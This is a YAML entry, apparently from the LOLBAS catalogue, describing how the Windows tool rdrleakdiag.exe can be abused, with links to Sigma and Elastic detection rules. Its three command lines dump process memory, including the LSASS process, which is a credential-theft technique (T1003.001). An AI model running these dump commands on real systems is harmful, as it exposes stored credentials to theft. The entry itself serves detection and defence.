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* Add sigma ref * Add missing sigma ref * Fix sigma link * Remove by Defender * Remove by Defender
45 lines
2.1 KiB
YAML
45 lines
2.1 KiB
YAML
---
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Name: rdrleakdiag.exe
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Description: Microsoft Windows resource leak diagnostic tool
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Author: 'John Dwyer'
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Created: 2022-05-18
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Commands:
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- Command: rdrleakdiag.exe /p 940 /o c:\evil /fullmemdmp /wait 1
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Description: Dump process by PID and create a dump file (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).
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Usecase: Dump process by PID.
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Category: Dump
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Privileges: User
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MitreID: T1003
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OperatingSystem: Windows
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- Command: rdrleakdiag.exe /p 832 /o c:\evil /fullmemdmp /wait 1
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Description: Dump LSASS process by PID and create a dump file (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).
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Usecase: Dump LSASS process.
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Category: Dump
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Privileges: Administrator
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MitreID: T1003.001
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OperatingSystem: Windows
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- Command: rdrleakdiag.exe /p 832 /o c:\evil /fullmemdmp /snap
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Description: After dumping a process using /wait 1, subsequent dumps must use /snap (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).
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Usecase: Dump LSASS process mutliple times.
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Category: Dump
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Privileges: Administrator
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MitreID: T1003.001
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OperatingSystem: Windows
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Full_Path:
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- Path: c:\windows\system32\rdrleakdiag.exe
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- Path: c:\Windows\SysWOW64\rdrleakdiag.exe
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Code_Sample:
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- Code:
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_proc_dump_rdrleakdiag.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_process_dump_rdrleakdiag.yml
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- Elastic: https://www.elastic.co/guide/en/security/current/potential-credential-access-via-windows-utilities.html
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- Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml
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Resources:
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- Link: https://twitter.com/0gtweet/status/1299071304805560321?s=21
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- Link: https://www.pureid.io/dumping-abusing-windows-credentials-part-1/
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- Link: https://github.com/LOLBAS-Project/LOLBAS/issues/84
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Acknowledgement:
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- Person: Grzegorz Tworek
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Handle: '@0gtweet'
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